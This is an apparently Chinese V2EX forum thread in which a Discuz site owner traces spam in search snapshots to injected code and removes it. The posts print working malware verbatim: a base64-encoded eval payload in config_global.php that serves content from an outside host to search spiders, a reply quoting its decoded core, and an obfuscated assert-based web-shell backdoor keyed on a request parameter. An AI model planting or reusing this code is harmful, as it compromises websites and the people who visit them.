万能的工单系统,快照网站被挂马了怎么破

2016-09-11 21:47:45 +08:00
 Myflos

RT ,这些垃圾信息出现在网页快照的最上面,网页源码里没有找到,怎么处理是好,各位大侠请指点一二

1989 次点击
所在节点    问与答
5 条回复
mrjoel
2016-09-11 22:00:12 +08:00
发下网址吧
mrjoel
2016-09-11 22:03:21 +08:00
不方便发的话,你看下 360 快照里面有没有这些内容,百度和 google 都展示 js 内容,而 360 不展示。
Myflos
2016-09-11 23:28:20 +08:00
@mrjoel 谢谢, 360 和百度都有, google 没有;网站是 discuz ,在 config_global.php ,找到如下代码

@eval(base64_decode("CiRvcHRzID0gYXJyYXkoCiAgJ2h0dHAnPT5hcnJheSgKICAgICdtZXRob2QnPT4iR0VUIiwKICAgICd0aW1lb3V0Jz0+MTAsCiAgICkKKTsKJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoJG9wdHMpOwokZG9tYWluICA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddOwoKaWYoaXNTcGlkZXIoKSl7CgkkY29udGVudD0gQGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vbDQudHVhbmR1aTIzMTIuY29tL2xpbmsucGhwP2RvbWFpbj0nLiRkb21haW4uIiZzcGlkZXI9Ii5pc1NwaWRlcigpLiImcXVlcnk9Ii5iYXNlNjRfZW5jb2RlKCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSksZmFsc2UsJGNvbnRleHQpOwoJZWNobyAkY29udGVudDsKfQpmdW5jdGlvbiBpc1NwaWRlcigpewoJJGJvdHMgPSBhcnJheSgKCQknYmFpZHUnICAgICAgICA9PiAnYmFpZHVzcGlkZXInLAoJCSdzb2dvdScgICAgICAgID0+ICdzb2dvdScsCgkJJzM2MHNwaWRlcicgICAgICAgID0+ICdoYW9zb3VzcGlkZXInLAoJCSczNjBzcGlkZXInICAgICAgICA9PiAnMzYwc3BpZGVyJywKCQknYmluZ2JvdCcgICAgICAgID0+ICdiaW5nYm90JwoJKTsKICAgICR1c2VyQWdlbnQgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7CiAgICBmb3JlYWNoICgkYm90cyBhcyAkayA9PiAkdil7CiAgICAgICAgaWYgKHN0cmlzdHIoJHVzZXJBZ2VudCwkdikpewogICAgICAgICAgICByZXR1cm4gJGs7CiAgICAgICAgfQogICAgfQogICAgcmV0dXJuIGZhbHNlOwp9"));
$_config = array();
UnisandK
2016-09-12 00:04:28 +08:00
针对搜索引擎爬虫输出的

if(isSpider()){
$content= @file_get_contents('http://l4.tuandui2312.com/link.php?domain='.$domain."&spider=".isSpider()."&query=".base64_encode($_SERVER['QUERY_STRING']),false,$context);
echo $content;
}
Myflos
2016-09-12 10:39:22 +08:00
@UnisandK 谢谢,在另外几个 php 文件内找到了这样的代码

@$bSzrL= "s\x74r\x5fr\x65\x70lac\x65";
@$VwissV= @$bSzrL('drApO','','adrApOrdrApOraydrApO_drApOmdrApOap');
@$ZXNFh= @$bSzrL('DBCFzQ','','asseDBCFzQrDBCFzQt');
@$VwissV(@$ZXNFh,(array)@$_REQUEST['uikmsaya']);

都删掉了,希望可以清除干净吧。

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/305516

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX